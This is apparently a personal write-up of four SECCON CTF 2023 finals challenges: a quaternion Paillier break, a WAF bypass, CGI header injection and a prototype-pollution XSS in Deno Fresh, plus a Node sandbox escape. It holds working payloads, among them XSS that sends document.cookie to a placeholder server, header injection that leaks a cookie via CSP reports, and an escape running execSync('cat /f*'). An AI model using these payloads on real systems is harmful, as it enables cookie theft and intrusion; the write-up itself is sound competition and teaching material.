SECCON CTF 2023 Final Writeups
This time, as a member of ${cYsTiCk}, I went to Japan to participate in the SECCON CTF finals from 12/23-12/24. However, since I stayed there for two more weeks and then lazed around at home for another week, I only just remembered to write a writeup XD. In this writeup, I will only cover the challenges that I mainly solved. For the others, you can check out my teammate’s article.
crypto
Pailler 4.0
import os
from dataclasses import dataclass
from secrets import randbelow
from typing import Optional
from Crypto.Util.number import bytes_to_long, getPrime
from sage.algebras.quatalg.quaternion_algebra_element import QuaternionAlgebraElement_generic
@dataclass
class Pubkey:
n: int
g: QuaternionAlgebraElement_generic
def __repr__(self) -> str:
return "n = {self.n}\ng = {self.g}" # Oh, I forgot f-string...
@dataclass
class Privkey:
l: int
pubkey: Pubkey
@classmethod
def generate(cls, pbits: int = 1024) -> "Privkey":
p = getPrime(pbits)
q = getPrime(pbits)
n = p * q
Q = QuaternionAlgebra(Zmod(n**2), -1, -1)
g = 1 + Q.random_element() * n
l = lcm(p - 1, q - 1)
return Privkey(l=l, pubkey=Pubkey(n=n, g=g))
def export_pubkey(self) -> Pubkey:
return Pubkey(n=self.pubkey.n, g=self.pubkey.g)
class Paillier:
def __init__(self, privkey: Optional[Privkey], pubkey: Pubkey) -> None:
self.privkey = privkey
self.pubkey = pubkey
@classmethod
def from_privkey(cls, privkey: Privkey) -> "Paillier":
return Paillier(privkey=privkey, pubkey=privkey.export_pubkey())
@classmethod
def from_pubkey(cls, pubkey: Pubkey) -> "Paillier":
return Paillier(privkey=None, pubkey=pubkey)
def encrypt(self, m: int):
n = self.pubkey.n
g = self.pubkey.g
assert 1 <= m < n
return g**m * pow(randbelow(n**2), n, n**2)
def L(self, u: QuaternionAlgebraElement_generic):
n = self.pubkey.n
g = self.pubkey.g
Q = g.parent()
i, j, k = Q.gens()
return (
int(u[0] - 1) // n
+ int(u[1]) // n * i
+ int(u[2]) // n * j
+ int(u[3]) // n * k
)
def decrypt(self, c):
if self.privkey is None:
raise RuntimeError("privkey is not defined")
n = self.pubkey.n
g = self.pubkey.g
l = self.privkey.l
Q = g.parent()
i, j, k = Q.gens()
tmp = self.L(c**l) * self.L(g**l) ** -1
return (
int(tmp[0] % n)
+ int(tmp[1] % n) * i
+ int(tmp[2] % n) * j
+ int(tmp[3] % n) * k
)
if __name__ == "__main__":
privkey = Privkey.generate(1024)
pubkey = privkey.export_pubkey()
print(pubkey)
paillier = Paillier.from_privkey(privkey)
m1 = bytes_to_long(b"I have implemented Paillier 4.0. Can you break it?")
m2 = bytes_to_long(os.getenvb(b"FLAG", b"FAKEFLAG{THIS_IS_FAKE}"))
c1 = paillier.encrypt(m1)
c2 = paillier.encrypt(m2)
print(f"{c1 = }")
print(f"{c2 = }")
This is a problem involving Paillier encryption with quaternions in . Since it doesn’t provide and , we need to figure them out first.
First, note that , and observe that it is . The ciphertext is also . Since , the components of will be , so we can recover using gcd.
Given a known plaintext and the flag with ciphertexts , we can deduce from , and then use to backtrack to get the original .
Next, the provided L
function is the same as the original Paillier, using the property to calculate the discrete log. Thus, we can use the same method to find and apply the L
function to get .
from Crypto.Util.number import *
i, j, k = QuaternionAlgebra(QQ, -1, -1).gens()
c1 = (
189146596689678534930657507389944284468488107240288605909197912201660856998268595857044483126765254204607561979667696823780094323605831173341131185451095827961974657320699801365535892652008629810492631319120676225694026021921473865863024969368910303696390015562430421049349114071773991177762773464679316870980876977686666855807332186848058678245373535005961682370552677053861029506581913980110373827901307233179244235202243031174173512515361800009857253300114079167816860057026075343836378542262536740363654132714971319930425403814111676892852082395558608670902630424317844748964279418048832907526306028619221958527742640786665813521788876170444556529860805085876769718758658671148365899678266785037483417326933260674320990814096707344631269313345501026674224091995002566546845812920972238704671529403192559802762074971627065020510369861068450614373478551819439697293240682440543948239483530476534310358291243899391023912588729055117972281759671793056180654218529502864409430851949645496003060620073997323651251418800006269638163922513847640920427464158479039359553243353188432374057727068915052795264913158336903153651169982577420892740945177282968764703805878728995869936258865320888806665158381666989783279873384467290795689854113
+ 159422453855839107969569050043111924378782512353662158097555530081065228239439150228804622489649734610074362158985473003354221851138418990789843575296473276995526434929421772247473565690114755816821848591281095238123387694109768501184937676517954202256920282987407499465504050296677413105358981123505518685105550180839694143745462914884741297306408583180764594750474787331278709883082457865068681533863559465700892859712589251625506033665577735140860828872174451058783234015868867785828962375739377763524670263494963751526040731027426300994670706114402103689783786516275326935940214423441678176308546728625674451381910316503231282898509560474012828864195580399386226905804415491610241049432673790249460289600738049671068987752876442486436729340418527359135900888369281879772473979747201333185180609387675576752892765354956616458099191011185104019183060864284006871921299407664180437341866001050750005470292132586820399436117963937861063882759907457400890935676136272800725704694983718578284459089871138394761488709761247421563190927061411874151193939617535173468856456146032540817642092476790385832012750987821835704394191508225176683766249213060401912800486859625016591155866280688072763525710527297989127521010127433165478830941817
* i
+ 187623816199491298929359182934085226415070915256202587324993994923281509773462861079689635893814873291883739439631895995019843365698225877873129060282579872095656155797235671453812960164842775969497855145376019034353214142234929838983495429753411675088233825923109926989151980954600726857923746492644378131880521765527613689926608367600914462828146507912615962951977005207914108826513118567119842148736574975619033628056063174491506828930626401152179456114077790384110260925763362057554193522341161444642415672425967265445119110122988483213369137437528699354992414173792355682379549151745141424595354031052213553312720413049508425634081960409132168458626444177310841834360058702543282950271135554721532965478215318870453959765465954657746116251578964196637358799826880168701508894356927569344736897502699965702265443381644905562901690655292307405703622427007033019235783542646988807629337886727319863632752491616033522045295663481494683759467480952931817747495594299026330913717415571754297422928091598496370877736297815866959021544309548121905263216441406709476821439234356234706057117326291506583297717031984509505422493821869111060952894078828939060421661081486444197327339800174022825222595603630105833989855525645422085730674564
* j
+ 108983832324298911213259107877413932946363222090021725824918906056215745302344420551204152231953729651169827978022341384921363268398863382842767641583469828560829815026849233122683970345772500535043316957591130641837866960704879727012137376610770020525841179712472063136667679110398730347242964281862081661521053599896797669209505444363840146338899663555883984646457358923987569487024071313633576757768768817706060883698724823167271778010848182708077407382439629779354954282990536565649220692045379924761967467614268986295830964173640529377522633216514323962693861739695620703200405765094125260029042426346110145892492750560269547608428943171799274041760027341512550373527388410918043906894068241463637804244867735784670531920830427644772678282293033315500463081788329363287536393697637504953775578394372137098033761764675304328956899198452407492013747106406193303367851430716384001567253558105344516962055539711765876022918579274453806342647159866874122105836627519222785409300831622024331926259832994621579381838393969640739647674914856843673465538468722740357164013024604891572811759995849705986784685354791575945252814432692980150793094758286455471240703326750705134680002007552172212048492713711296343411989751556616097691472886
* k
)
c2 = (
86219718266904761398669400869850246784979375496030637035288295353189453067766725033422476038896248982241100669461661297802396978010746153640029767262870320897194919490826132305901873187423033699178088010951277367251496838717058535820404506883970041012368716101389488127250260245101472029452131360335437760537762538487771297840257043319368858446525491231801822266893408542561691924321234377663038077154890676142691375455698618357010611398164565760941981743010051093925210687645019434438534456537037742256714240599815459686418722187615193759703721367665787215521067929853700537753302391198777519129734661993648921740240357025798798706760243777604671957311915626478425526896553420143154032082593440771887256202026017154984732830890447276281770696548102554648916038622905603861367237151535066602702621935453593146737973794330996087634650833572538883360270301384985003603283310102960915654703731536039508294268354748154322515620117950356046993722827561878865915964021290101324112092056360488260632904393442087541370097356165904797972786650982394809499420695141565901862666037208421294834181894635588110829281254139866214589789937604876710559894531773693513253615384678625195339656902456917325250361282804135326827093351532459760601839428
+ 117054910725352927152954707158545932567372361642285004993114012986829421306179984070148177646729931523282578663731756845490868840124859732416249534497296591658577429815841323784653557664286060526584920474641678611491154052977907087762970527833374328722933082141137952738249521548630555294927021597379676715564873946701751229456740753076037446249661183932191707005143775324621425132715548146998548361658766985025165556120105739877724488495557082489885983738028638417642106757781493694229677197625754998579507288085495746440044951052143778688968468424843237961423717593401897115614902734926783906666127800456081501383424175585031033145674849111649138772893539198722278630438976076814107039077450496425454293336255754967196215581548880976066132130961108306387082335423133634754616580736864413539696735238789195673624113132920602408936492608097637718193827226672537917838822521233982679217313380722619714529225002533498709991277566125656295648047828882775579398531344170522575799766494302252389832871526177828308927401118825488943352391675934025045942416116887512805600627175873583536950820991752455514294168386808344591770738525214186851727668357035105477909941209200336263341123944810521631781066674601689604189825431920483646305959585
* i
+ 92345257110099358724431302312369402163330316382555448933909585233861251186510957204549115902867389772165678173559996028911980257862633715040688322898905423998255567564599598071097809537111423173973036470534222529337844682911982824638473091384071409274922662970946165921061951939942298978319289884098189085890294063185559808951684858963604173045559882719018822278488749762751794384294285983285955342173932281432331257764645484597656120974857428513672990550775470434748333246481999528041929685439321287460410615808078730042412677621841202237965311169407832871645441374815638746696619772089752127329254711373179036589534609668994277492120692090878598825983907313436148623503677406409697422234464304764296352912448876077041244056566202211554497434768706424310036087086161073559877149782469427246116961563251003701361319094692924942237807482264735015230259929819553855417042319416469221085994715569600300005650823896406786465198528505570768223321803202284506227367545420384756419029295204861272269263450781302874115717621510203092484552663439084207772409785606480255709458029081686718743144992333376307430207101396779094139623571139183550543447450301735278962985132368289625009256101657583838683799786443358949988515696800564025119116609
* j
+ 122488568601402784451819032638780912895128169996737548955267892210865529500117097756916051234140403362941640967296275011258430454026954532827911984707868161093903490372306430402098822794181913222580715537461028856010232195747240764866904393429104960026870206602923056757241151894408163703517729550859962949893716021499073123229401788259785010482000899688648483047499137591135359341058204846634872446500949129415734308674619419298447343637826761796808390241385451759091274776830675731278219386457219839641683452586176761545289098461146228441907615640923642607634309424610616780306442009740253419466232056306312602052844095851382222227944901310658313126015474732679472765960186488315614268404874359834789433523786077436241976025907449925177263698751668541669935898577422622350071130782232751861016037733261383458204466069764928709376487097930236316358028420462969105771243038438013059257534537751023566706602384544332305621521947855047465105701790105297243424012536440482412328095810045412182269600181269831588582004165149999616680304894629360268885452104970486463954411395189633450307352197153316124500262183798809005094000245516105050216614590136434328536196583595010243277807391452050728021474145863981530042039541913753951040294031
* k
)
n1 = gcd(gcd(c1[1], c1[2]), c1[3])
n2 = gcd(gcd(c2[1], c2[2]), c2[3])
n = int(gcd(n1, n2))
print(n)
i, j, k = QuaternionAlgebra(Zmod(n**2), -1, -1).gens()
c1 = (
189146596689678534930657507389944284468488107240288605909197912201660856998268595857044483126765254204607561979667696823780094323605831173341131185451095827961974657320699801365535892652008629810492631319120676225694026021921473865863024969368910303696390015562430421049349114071773991177762773464679316870980876977686666855807332186848058678245373535005961682370552677053861029506581913980110373827901307233179244235202243031174173512515361800009857253300114079167816860057026075343836378542262536740363654132714971319930425403814111676892852082395558608670902630424317844748964279418048832907526306028619221958527742640786665813521788876170444556529860805085876769718758658671148365899678266785037483417326933260674320990814096707344631269313345501026674224091995002566546845812920972238704671529403192559802762074971627065020510369861068450614373478551819439697293240682440543948239483530476534310358291243899391023912588729055117972281759671793056180654218529502864409430851949645496003060620073997323651251418800006269638163922513847640920427464158479039359553243353188432374057727068915052795264913158336903153651169982577420892740945177282968764703805878728995869936258865320888806665158381666989783279873384467290795689854113
+ 159422453855839107969569050043111924378782512353662158097555530081065228239439150228804622489649734610074362158985473003354221851138418990789843575296473276995526434929421772247473565690114755816821848591281095238123387694109768501184937676517954202256920282987407499465504050296677413105358981123505518685105550180839694143745462914884741297306408583180764594750474787331278709883082457865068681533863559465700892859712589251625506033665577735140860828872174451058783234015868867785828962375739377763524670263494963751526040731027426300994670706114402103689783786516275326935940214423441678176308546728625674451381910316503231282898509560474012828864195580399386226905804415491610241049432673790249460289600738049671068987752876442486436729340418527359135900888369281879772473979747201333185180609387675576752892765354956616458099191011185104019183060864284006871921299407664180437341866001050750005470292132586820399436117963937861063882759907457400890935676136272800725704694983718578284459089871138394761488709761247421563190927061411874151193939617535173468856456146032540817642092476790385832012750987821835704394191508225176683766249213060401912800486859625016591155866280688072763525710527297989127521010127433165478830941817
* i
+ 187623816199491298929359182934085226415070915256202587324993994923281509773462861079689635893814873291883739439631895995019843365698225877873129060282579872095656155797235671453812960164842775969497855145376019034353214142234929838983495429753411675088233825923109926989151980954600726857923746492644378131880521765527613689926608367600914462828146507912615962951977005207914108826513118567119842148736574975619033628056063174491506828930626401152179456114077790384110260925763362057554193522341161444642415672425967265445119110122988483213369137437528699354992414173792355682379549151745141424595354031052213553312720413049508425634081960409132168458626444177310841834360058702543282950271135554721532965478215318870453959765465954657746116251578964196637358799826880168701508894356927569344736897502699965702265443381644905562901690655292307405703622427007033019235783542646988807629337886727319863632752491616033522045295663481494683759467480952931817747495594299026330913717415571754297422928091598496370877736297815866959021544309548121905263216441406709476821439234356234706057117326291506583297717031984509505422493821869111060952894078828939060421661081486444197327339800174022825222595603630105833989855525645422085730674564
* j
+ 108983832324298911213259107877413932946363222090021725824918906056215745302344420551204152231953729651169827978022341384921363268398863382842767641583469828560829815026849233122683970345772500535043316957591130641837866960704879727012137376610770020525841179712472063136667679110398730347242964281862081661521053599896797669209505444363840146338899663555883984646457358923987569487024071313633576757768768817706060883698724823167271778010848182708077407382439629779354954282990536565649220692045379924761967467614268986295830964173640529377522633216514323962693861739695620703200405765094125260029042426346110145892492750560269547608428943171799274041760027341512550373527388410918043906894068241463637804244867735784670531920830427644772678282293033315500463081788329363287536393697637504953775578394372137098033761764675304328956899198452407492013747106406193303367851430716384001567253558105344516962055539711765876022918579274453806342647159866874122105836627519222785409300831622024331926259832994621579381838393969640739647674914856843673465538468722740357164013024604891572811759995849705986784685354791575945252814432692980150793094758286455471240703326750705134680002007552172212048492713711296343411989751556616097691472886
* k
)
c2 = (
86219718266904761398669400869850246784979375496030637035288295353189453067766725033422476038896248982241100669461661297802396978010746153640029767262870320897194919490826132305901873187423033699178088010951277367251496838717058535820404506883970041012368716101389488127250260245101472029452131360335437760537762538487771297840257043319368858446525491231801822266893408542561691924321234377663038077154890676142691375455698618357010611398164565760941981743010051093925210687645019434438534456537037742256714240599815459686418722187615193759703721367665787215521067929853700537753302391198777519129734661993648921740240357025798798706760243777604671957311915626478425526896553420143154032082593440771887256202026017154984732830890447276281770696548102554648916038622905603861367237151535066602702621935453593146737973794330996087634650833572538883360270301384985003603283310102960915654703731536039508294268354748154322515620117950356046993722827561878865915964021290101324112092056360488260632904393442087541370097356165904797972786650982394809499420695141565901862666037208421294834181894635588110829281254139866214589789937604876710559894531773693513253615384678625195339656902456917325250361282804135326827093351532459760601839428
+ 117054910725352927152954707158545932567372361642285004993114012986829421306179984070148177646729931523282578663731756845490868840124859732416249534497296591658577429815841323784653557664286060526584920474641678611491154052977907087762970527833374328722933082141137952738249521548630555294927021597379676715564873946701751229456740753076037446249661183932191707005143775324621425132715548146998548361658766985025165556120105739877724488495557082489885983738028638417642106757781493694229677197625754998579507288085495746440044951052143778688968468424843237961423717593401897115614902734926783906666127800456081501383424175585031033145674849111649138772893539198722278630438976076814107039077450496425454293336255754967196215581548880976066132130961108306387082335423133634754616580736864413539696735238789195673624113132920602408936492608097637718193827226672537917838822521233982679217313380722619714529225002533498709991277566125656295648047828882775579398531344170522575799766494302252389832871526177828308927401118825488943352391675934025045942416116887512805600627175873583536950820991752455514294168386808344591770738525214186851727668357035105477909941209200336263341123944810521631781066674601689604189825431920483646305959585
* i
+ 92345257110099358724431302312369402163330316382555448933909585233861251186510957204549115902867389772165678173559996028911980257862633715040688322898905423998255567564599598071097809537111423173973036470534222529337844682911982824638473091384071409274922662970946165921061951939942298978319289884098189085890294063185559808951684858963604173045559882719018822278488749762751794384294285983285955342173932281432331257764645484597656120974857428513672990550775470434748333246481999528041929685439321287460410615808078730042412677621841202237965311169407832871645441374815638746696619772089752127329254711373179036589534609668994277492120692090878598825983907313436148623503677406409697422234464304764296352912448876077041244056566202211554497434768706424310036087086161073559877149782469427246116961563251003701361319094692924942237807482264735015230259929819553855417042319416469221085994715569600300005650823896406786465198528505570768223321803202284506227367545420384756419029295204861272269263450781302874115717621510203092484552663439084207772409785606480255709458029081686718743144992333376307430207101396779094139623571139183550543447450301735278962985132368289625009256101657583838683799786443358949988515696800564025119116609
* j
+ 122488568601402784451819032638780912895128169996737548955267892210865529500117097756916051234140403362941640967296275011258430454026954532827911984707868161093903490372306430402098822794181913222580715537461028856010232195747240764866904393429104960026870206602923056757241151894408163703517729550859962949893716021499073123229401788259785010482000899688648483047499137591135359341058204846634872446500949129415734308674619419298447343637826761796808390241385451759091274776830675731278219386457219839641683452586176761545289098461146228441907615640923642607634309424610616780306442009740253419466232056306312602052844095851382222227944901310658313126015474732679472765960186488315614268404874359834789433523786077436241976025907449925177263698751668541669935898577422622350071130782232751861016037733261383458204466069764928709376487097930236316358028420462969105771243038438013059257534537751023566706602384544332305621521947855047465105701790105297243424012536440482412328095810045412182269600181269831588582004165149999616680304894629360268885452104970486463954411395189633450307352197153316124500262183798809005094000245516105050216614590136434328536196583595010243277807391452050728021474145863981530042039541913753951040294031
* k
)
def L(n, g, u):
Q = g.parent()
i, j, k = Q.gens()
return (
int(u[0] - 1) // n
+ int(u[1]) // n * i
+ int(u[2]) // n * j
+ int(u[3]) // n * k
)
m1 = bytes_to_long(b"I have implemented Paillier 4.0. Can you break it?")
r1 = c1[0] % n
Gm = c1 * inverse_mod(r1, n**2)
g = Gm ** inverse_mod(m1, n)
r2 = c2[0] % n
Gm = c2 * inverse_mod(r2, n**2)
rec_m = (L(n, g, Gm)[1] / L(n, g, g)[1]) % n
print(long_to_bytes(int(rec_m)))
# SECCON{Please help me to improve and make it secure, Paillier 4.1...}
web
babywaf
This challenge has a proxy:
const app = require("fastify")();
const PORT = 3001;
app.register(require("@fastify/http-proxy"), {
upstream: "http://localhost:3000",
preValidation: async (req, reply) => {
// WAF???
try {
const body =
typeof req.body === "object" ? req.body : JSON.parse(req.body);
if ("givemeflag" in body) {
reply.send("🚩");
}
} catch {}
},
replyOptions: {
rewriteRequestHeaders: (_req, headers) => {
console.log(headers);
headers["content-type"] = "application/json";
return headers;
},
},
});
app.listen({ port: PORT, host: "0.0.0.0" });
and a backend:
const express = require("express");
const fs = require("fs/promises");
const app = express();
const PORT = 3000;
const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);
app.use(express.json());
app.post("/", async (req, res) => {
if ("givemeflag" in req.body) {
res.send(FLAG);
} else {
res.status(400).send("🤔");
}
});
app.get("/", async (_req, res) => {
const html = await fs.readFile("index.html");
res.type("html").send(html);
});
app.listen(PORT);
The goal is to send a key with givemeflag
in the body to the backend.
Initially, I read the fastify source code and found that Content-Type
can only be application/json
or text/plain
. After some experiments, I discovered that using text/plain
+ Content-Encoding: deflate
allows me to bypass the check.
However, the problem is that fastify internally processes data using JavaScript strings, so regular binary data gets messed up due to UTF-16 issues. Therefore, I needed to generate pure ASCII deflate data. I modified Arusekk/ascii-zip to generate ASCII deflate data for the specified JSON.
You can refer to the complete payload in this gist.
However, according to the author’s writeup, the intended solution was to exploit the fact that both fastify and express accept JSON + BOM, but JSON.parse
does not accept BOM.
cgi-2023
go backend:
package main
import (
"fmt"
"net/http"
"net/http/cgi"
"strings"
)
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
if q := r.URL.Query().Get("q"); q != "" && !strings.Contains(strings.ToLower(q), "status") {
fmt.Print(q)
}
flag, err := r.Cookie("FLAG")
if err != nil {
fmt.Fprint(w, "Hello gophers👋")
} else {
fmt.Fprint(w, flag.Value)
}
})
cgi.Serve(nil)
}
apache config:
LoadModule cgid_module modules/mod_cgid.so
ServerName main
Listen 3000
ScriptAliasMatch / /usr/local/apache2/cgi-bin/index.cgi
AddHandler cgi-script .cgi
CGIDScriptTimeout 1
Header always set Content-Security-Policy "default-src 'none';"
This is an interesting CGI challenge where the goal is to leak the bot’s flag cookie. The key is that CGI communicates via stdout, so fmt.Print(q)
allows us to inject headers and body. However, due to CSP, we can’t execute JS. My approach was to inject Content-Security-Policy-Report-Only
with script-sample
and use <style>
to leak the flag. But due to the HTTP status line and content type being too long, it couldn’t include the flag within 40 characters.
http://web:3000/?q=Content-Security-Policy-Report-Only:%20default-src%20%27report-sample%27%3B%20report-uri%20https://MY_SERVER/xx%0aContent-Type:text/html%3Bcharset=utf-16%0a%0a%3C%00s%00t%00y%00l%00e%00%3E%00
At this point, I wondered if characters referred to bytes or something else. So I added Content-Type: text/html; charset=utf-16
, and my server received a string of UTF-16 gibberish. Knowing that it was actually a bunch of ASCII (or UTF-8) bytes interpreted as UTF-16, I used Python to convert it and got the flag:
s = "\u4553\u4343\u4e4f\u6c7b\u6165\u796b\u735f\u6972" # script-sample
print(s.encode('utf-16'))
# SECCON{leaky_sri}
In theory, using utf-32
should allow leaking up to 160 bytes of data.
However, my solution was unintended. The author’s intended solution was to use CSP + SRI hash to leak the flag.
Another solution was to use %0d
to bypass the status
check and then use 100 Continue
or 103 Early Hints
to bypass the CSP header added by Apache.
LemonMD
This challenge involves Deno Fresh (~= Next.js for Deno), which displays markdown on a page:
import type { Signal } from "@preact/signals";
import { render } from "$gfm";
interface PreviewProps {
text: Signal<string>;
}
export default function Preview(props: PreviewProps) {
return (
<div
class="markdown-body"
dangerouslySetInnerHTML={{ __html: render(props.text.value) }}
/>
);
}
combined with
import type { Handlers, PageProps } from "$fresh/server.ts";
import { useSignal } from "@preact/signals";
import Preview from "../islands/Preview.tsx";
import db from "../utils/db.ts";
import redirect from "../utils/redirect.ts";
interface Data {
text: string;
}
export const handler: Handlers = {
async GET(_req, ctx) {
const id = ctx.params.id;
const text = db.getById(id);
return text == null ? redirect("/") : await ctx.render({ text });
},
};
export default function Page(props: PageProps<Data>) {
const text = useSignal(props.data.text);
return <Preview text={text}></Preview>;
}
The $gfm
here is https://deno.land/x/gfm@0.2.5/mod.ts
, and it uses sanitize-html
to filter out some things after converting to HTML. So, unless you find a 0day, direct XSS is not possible.
The key is that Deno Fresh is an SSR framework, so the HTML in dangerouslySetInnerHTML
is directly included in the server’s returned HTML. For example, hello **world**
would be rendered as:
<body>
<main>
<!--frsh-preview_default:0:-->
<div class="markdown-body">
<p>hello <strong>world</strong></p>
</div>
<!--/frsh-preview_default:0:-->
</main>
<script id="__FRSH_STATE" type="application/json" nonce="1b7e34cbcf524db4b89fd024e2876562">
{ "v": [[{ "text": { "_f": "s", "v": "hello **world**\r\n" } }], []] }
</script>
<script type="module" nonce="1b7e34cbcf524db4b89fd024e2876562">
import { deserialize } from '/_frsh/js/6de11cfced006cb5eaab66ed35809a90158c4cf5/deserializer.js'
import { signal } from '/_frsh/js/6de11cfced006cb5eaab66ed35809a90158c4cf5/signals.js'
const ST = document.getElementById('__FRSH_STATE').textContent
const STATE = deserialize(ST, signal)
import { revive } from '/_frsh/js/6de11cfced006cb5eaab66ed35809a90158c4cf5/main.js'
import preview_default from '/_frsh/js/6de11cfced006cb5eaab66ed35809a90158c4cf5/island-preview.js'
const propsArr = typeof STATE !== 'undefined' ? STATE[0] : []
revive({ preview_default: preview_default }, propsArr)
</script>
</body>
Notice that the rendered content is above __FRSH_STATE
, so maybe we can use DOM clobbering, especially since the function is called deserialize
, which looks problematic. After finding deserialize
, I quickly discovered a prototype pollution:
<h1 id="__FRSH_STATE">
{
"r":[
[
[1,0,"val1"],
["__proto__","__proto__","a"]
]
],
"v":[
[
{"text":{"_f":"s","v":"aaa"}}
],
[
{"val1": 123}
]
]
}
</h1>
Then Object.prototype.a === 123
, so we just need to find a prototype pollution gadget.
Testing a bit, I found that the SSR-rendered content is actually just a cache, and it still calls deno-gfm on the client side to convert markdown to HTML. Therefore, by polluting disableHtmlSanitization
, we can disable deno-gfm’s HTML sanitization and achieve XSS.
<h1 id="__FRSH_STATE">
{
"r":[
[
[1,0,"val1"],
["__proto__","__proto__","disableHtmlSanitization"]
]
],
"v":[
[
{"text":{"_f":"s","v":"asd\u003ciframe srcdoc='\u003cscript\u003elocation.href=`//MY_SERVER/flag?`+document.cookie\u003c/script\u003e'\u003e\u003c/iframe\u003e"}}
],
[
{"val1": true}
]
]
}
</h1>
// SECCON{Do_not_m1x_HTML_injecti0n_and_I5lands_Archit3cture}
misc
whitespace.js
const WHITESPACE = " ";
const code = [...process.argv[2].trim()].join(WHITESPACE);
if (code.includes("(") || code.includes(")")) {
console.log("Do not call functions :(");
process.exit();
}
try {
console.log(eval(code));
} catch {
console.log("Error");
}
This challenge inserts a lot of whitespace characters into the code you input, and if there are no parentheses, it evals the code.
First, you can easily construct some simple characters, like a='a'[1];
becomes a = ' a ' [ 1 ] ;
, and then use [][c+o+n+s+t+r+u+c+t+u+r+e]
to try to call Function
for eval. However, after many attempts, I couldn’t achieve it, so I switched to another approach.
Here, I used the Function
constructor to create a function that reads its own caller
, which is the common JS wrapper function. From the arguments
above, we can read require
and module
. However, since require
and Module._load
only accept strings, we can’t arbitrarily require modules yet.
We can’t require, but I found a Module.runMain
function. By clearing Module._cache
and calling it, it re-executes the main module. Therefore, if we can control Array.prototype.join
to return any string and override String.prototype.includes
, we can achieve arbitrary eval.
Later, I read st98’s writeup (“2度目の呼び出し” section) and found that you can directly call the common JS wrapper function again XD
Bypassing includes
is simple; just set String.prototype.includes = Function('')
. The more complex part is controlling code
.
I achieved this by setting Array.prototype.join = RegExp.prototype.toString
and then overriding Array.prototype.source
and Array.prototype.flags
. This works because RegExp.prototype.toString
essentially does return `/${this.source}/${this.flags}`;
.
st98’s method is different; he used
String.prototype.trim = Array.prototype.concat
to disable the join whitespace.
Putting it all together, we can solve this challenge:
$$ = s => [...s].join('+')
input =
"a='a'[1];b='b'[1];c='c'[1];d='d'[1];e='e'[1];f='f'[1];g='g'[1];h='h'[1];i='i'[1];j='j'[1];k='k'[1];l='l'[1];m='m'[1];n='n'[1];o='o'[1];p='p'[1];q='q'[1];r='r'[1];s='s'[1];t='t'[1];u='u'[1];v='v'[1];w='w'[1];x='x'[1];y='y'[1];z='z'[1];A='A'[1];B='B'[1];C='C'[1];D='D'[1];E='E'[1];F='F'[1];G='G'[1];H='H'[1];I='I'[1];J='J'[1];K='K'[1];L='L'[1];M='M'[1];N='N'[1];O='O'[1];P='P'[1];Q='Q'[1];R='R'[1];S='S'[1];T='T'[1];U='U'[1];V='V'[1];W='W'[1];X='X'[1];Y='Y'[1];Z='Z'[1];_='_'[1];" +
"點='.'[1];空='';斜='/'[1];分=';'[1];引=\"'\"[1];星='*'[1];" +
`函=[][${$$('constructor')}][${$$('constructor')}];` +
`暫=函\`\`+'';左=暫[9+9];右=暫[9+9+2];` +
`暫=函\`C=暫[${$$('caller')}]\`;暫\`\`;取=C[${$$('arguments')}][1];模=C[${$$('arguments')}][2];` +
`""[${$$('__proto__')}][${$$('includes')}]=函\`\`;` +
`[][${$$('__proto__')}][${$$('source')}]=${$$(
'a斜分require左引child_process引右點execSync左引cat空斜f星引右點toString左右斜'
)};` +
`[][${$$('__proto__')}][${$$('flags')}]=空;` +
`[][${$$('__proto__')}][${$$('join')}]=/x/[${$$('__proto__')}][${$$('toString')}][${$$('bind')}]\`\`;` +
`摩=模[${$$('constructor')}];摩[${$$('_cache')}]={};摩[${$$('runMain')}][${$$('call')}]\`\`;`
code = [...input.trim()].join(' ')
console.log(code)
if (code.includes('(') || code.includes(')')) {
console.log('Do not call functions :(')
process.exit()
}
console.log(eval(code))
fetch('http://whitespace-js.int.seccon.games:3000/', {
headers: {
'Content-Type': 'application/json'
},
method: 'POST',
body: JSON.stringify({ expr: input })
})
.then(r => r.text())
.then(console.log)
// SECCON{P4querett3_Down_the_Bunburr0ws}
The author’s solution Ark’s writeup is similar to mine, using
RegExp
to construct strings, but he directly callsFunction``
, so the array is automatically converted to a string, making the function body controllable.
Thoughts
This was my first time traveling abroad with a small team to participate in a competition, and we were lucky to win third place. It was a memorable experience. On the first day, I didn’t solve any challenges, so the ones above were solved on the first night and during the second day of the competition. The pressure was quite high when I couldn’t solve anything initially, but after solving one challenge, things started to go smoothly, and we achieved this result. Overall, the challenges were difficult, and many had very interesting ideas, making it a worthwhile competition.
However, the two-day competition was just a small part of my two-week stay in Japan. After the competition, I visited Yokohama and Kamakura outside Tokyo for a few days, then returned to Tokyo for New Year’s Eve and shrine visits (and Akihabara and arcade games). If possible, I hope to participate in the competition and have some fun again in 2024.